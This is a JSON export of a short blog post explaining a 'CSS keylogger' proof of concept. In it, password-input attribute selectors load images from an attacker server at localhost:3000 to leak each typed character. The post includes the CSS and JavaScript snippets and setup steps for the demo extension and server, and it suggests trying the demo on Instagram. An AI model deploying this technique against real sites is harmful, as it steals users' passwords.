{"id":3251,"date":"2018-02-27T10:48:25","date_gmt":"2018-02-27T05:18:25","guid":{"rendered":"https:\/\/code4developers.com\/?p=3251"},"modified":"2018-04-05T12:29:31","modified_gmt":"2018-04-05T06:59:31","slug":"css-keylogger","status":"publish","type":"post","link":"https:\/\/code4developers.com\/css-keylogger\/","title":{"rendered":"CSS Keylogger"},"content":{"rendered":"

This post is based on\u00a0Chrome extension and Express server that exploits keylogging abilities of CSS i.e. CSS Keylogger. Scary little attack using essentially a bunch of attribute selectors.<\/p>\n

This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image. For example, the following css will select all input’s with a type that equals password and a value that ends with a. It will then try to load an image from http:\/\/localhost:3000\/a.<\/p>\n

input[type=\"password\"][value$=\"a\"] {\r\n  background-image: url(\"http:\/\/localhost:3000\/a\");\r\n}<\/pre>\n
At first, I was like wait a minute<\/em>, you can’t select inputs based on what people type in them but only what’s set on the attribute itself. The Demo shows how it is possible, however, because React uses “controlled components” that do this by default. Not to mention you can apply the typed value to the attribute easily like:<\/p>\n
const inp = document.querySelector(\"input\");\r\ninp.addEventListener(\"keyup\", (e) => {\r\n  inp.setAttribute('value', inp.value)\r\n});<\/pre>\n
How to use<\/h2>\n
\n
Setup Chrome extension<\/h3>\n
    \n
  1. Download Zip from link given at the end of page<\/code><\/li>\n
  2. Visit chrome:\/\/extensions<\/code> in your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu’s icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place).<\/li>\n
  3. Ensure that the Developer mode checkbox in the top right-hand corner is checked.<\/li>\n
  4. Click Load unpacked extension\u2026<\/code> to pop up a file-selection dialog.<\/li>\n
  5. Select the css-keylogger-extension<\/code> in the directory which you downloaded this repository.<\/li>\n<\/ol>\n
    <\/a>Setup Express server<\/h3>\n
      \n
    1. yarn<\/code><\/li>\n
    2. yarn start<\/code><\/li>\n<\/ol>\n
      Haxking l33t passwords<\/h3>\n
        \n
      1. Open a website that uses a controlled component framework such as React. https:\/\/instagram.com<\/a>.<\/li>\n
      2. Press the extension C<\/code> on the top right of any web-page.<\/li>\n
      3. Type your password.<\/li>\n
      4. Your password should be captured by the express server.<\/li>\n<\/ol>\n
        How useful and widespread is it to select inputs based on the value attribute like this? I’m not sure I would miss it if it got yanked.<\/p>\n
        Using a simple script one can create a css file that will send a custom request for every ASCII character. You can download the example From Here<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
        This post is based on\u00a0Chrome extension and Express server that exploits keylogging abilities of CSS i.e. CSS Keylogger. Scary little attack using essentially a bunch of attribute selectors. This attack…<\/p>\n","protected":false},"author":7,"featured_media":3065,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[49],"tags":[116,117,119,118,94],"powerkit_post_featured":[],"class_list":{"0":"post-3251","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-htmlstylesheet","8":"tag-css-keylogger","9":"tag-hacking","10":"tag-hacking-using-css","11":"tag-hacking-using-react","12":"tag-react"},"jetpack_featured_media_url":"https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2017\/08\/css_image.png?fit=384%2C384&ssl=1","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p8NAi4-Qr","jetpack-related-posts":[{"id":3063,"url":"https:\/\/code4developers.com\/advanced-css-tricks-and-techniques\/","url_meta":{"origin":3251,"position":0},"title":"Advanced CSS Tricks and Techniques","author":"Arif Khoja","date":"August 9, 2017","format":false,"excerpt":"A wonderful collection of some bleeding edge CSS techniques for you to try out. Some of these might not be fully supported, so use in production at your peril! As time goes by, CSS is becoming more and more powerful. Nowadays, it allows a lot of possibilities. This article is\u2026","rel":"","context":"In "HTML\/Stylesheet"","block_context":{"text":"HTML\/Stylesheet","link":"https:\/\/code4developers.com\/category\/htmlstylesheet\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2017\/08\/css_image.png?fit=384%2C384&ssl=1&resize=350%2C200","width":350,"height":200},"classes":[]},{"id":3757,"url":"https:\/\/code4developers.com\/bootstrap-basics-for-beginners\/","url_meta":{"origin":3251,"position":1},"title":"Bootstrap basics for beginners","author":"Patel Harsh","date":"July 2, 2018","format":false,"excerpt":"Bootstrap is the most popular HTML, CSS, and JS framework for developing responsive, mobile-first projects on the web. In this article we will discuss about basics of bootstrap. Bootstrap: Bootstrap is a free front-end framework for faster and easier web development It includes HTML and CSS based design templates for\u2026","rel":"","context":"In "HTML\/Stylesheet"","block_context":{"text":"HTML\/Stylesheet","link":"https:\/\/code4developers.com\/category\/htmlstylesheet\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2018\/07\/Boostrap_logo.svg_.png?fit=200%2C201&ssl=1&resize=350%2C200","width":350,"height":200},"classes":[]},{"id":3520,"url":"https:\/\/code4developers.com\/angular-5-class-binding-ngclass-directive\/","url_meta":{"origin":3251,"position":2},"title":"Angular 5 Class Binding & ngClass Directive","author":"Nisarg Dave","date":"May 2, 2018","format":false,"excerpt":"In this article we will see how can we bind CSS class to HTML element (class binding) in Angular 5. We will also discuss about ngClass directive to add or remove multiple classes from HTML element with example. Examples I have already created first-app component in my Angular 5 application.\u2026","rel":"","context":"In "Angular"","block_context":{"text":"Angular","link":"https:\/\/code4developers.com\/category\/angular\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2018\/05\/8.1-300x100.png?resize=350%2C200&ssl=1","width":350,"height":200},"classes":[]},{"id":3150,"url":"https:\/\/code4developers.com\/webpack-introduction-without-code\/","url_meta":{"origin":3251,"position":3},"title":"Webpack: introduction without any code.","author":"Arif Khoja","date":"December 1, 2017","format":false,"excerpt":"There have existed build tools for JavaScript as long as I have been coding with it. I can without doubt say that they are better and easier to understand today than they have ever been. But there are also much more you \u201cneed\u201d to know before you get started. The\u2026","rel":"","context":"In "JavaScript"","block_context":{"text":"JavaScript","link":"https:\/\/code4developers.com\/category\/javascript\/"},"img":{"alt_text":"javascript","src":"https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2017\/10\/javascript.jpg?fit=750%2C422&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2017\/10\/javascript.jpg?fit=750%2C422&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2017\/10\/javascript.jpg?fit=750%2C422&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2017\/10\/javascript.jpg?fit=750%2C422&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":4003,"url":"https:\/\/code4developers.com\/node-express-jwt-authentication-using-jsonwebtoken-and-bcryptjs\/","url_meta":{"origin":3251,"position":4},"title":"Node Express-JWT Authentication Using jsonwebtoken and bcryptjs","author":"Arif Khoja","date":"January 4, 2019","format":false,"excerpt":"Throughout this tutorial, we'll be learning how you can create a JWT authentication server with Node.js and Express.js using some popular libraries like: express jsonwebtoken bcryptjs For making things simple, we'll be using a SQLite database but this can be easily changed to use fully-fledged database management systems like MySQL.\u2026","rel":"","context":"In "NodeJS"","block_context":{"text":"NodeJS","link":"https:\/\/code4developers.com\/category\/nodejs\/"},"img":{"alt_text":"nodejs-token-based-authentication","src":"https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2019\/01\/nodejs-token-based-authentication.png?fit=1050%2C438&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2019\/01\/nodejs-token-based-authentication.png?fit=1050%2C438&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2019\/01\/nodejs-token-based-authentication.png?fit=1050%2C438&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2019\/01\/nodejs-token-based-authentication.png?fit=1050%2C438&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2019\/01\/nodejs-token-based-authentication.png?fit=1050%2C438&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3182,"url":"https:\/\/code4developers.com\/react-blog-post-serieses-react-development\/","url_meta":{"origin":3251,"position":5},"title":"React: A blog post series about React development","author":"Arif Khoja","date":"December 30, 2017","format":false,"excerpt":"One of the first things I wrote down in my notebook as I was planning or trying to figure out if there was enough stuff to write about to do this site was a React introduction. I know React fairly well, and have been working full-time with it for quite\u2026","rel":"","context":"In "React"","block_context":{"text":"React","link":"https:\/\/code4developers.com\/category\/react\/"},"img":{"alt_text":"react","src":"https:\/\/i0.wp.com\/code4developers.com\/wp-content\/uploads\/2017\/12\/react_2.png?fit=375%2C375&ssl=1&resize=350%2C200","width":350,"height":200},"classes":[]}],"jetpack_likes_enabled":true,"_links":{"self":[{"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/posts\/3251","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/comments?post=3251"}],"version-history":[{"count":9,"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/posts\/3251\/revisions"}],"predecessor-version":[{"id":3403,"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/posts\/3251\/revisions\/3403"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/media\/3065"}],"wp:attachment":[{"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/media?parent=3251"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/categories?post=3251"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/tags?post=3251"},{"taxonomy":"powerkit_post_featured","embeddable":true,"href":"https:\/\/code4developers.com\/wp-json\/wp\/v2\/powerkit_post_featured?post=3251"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}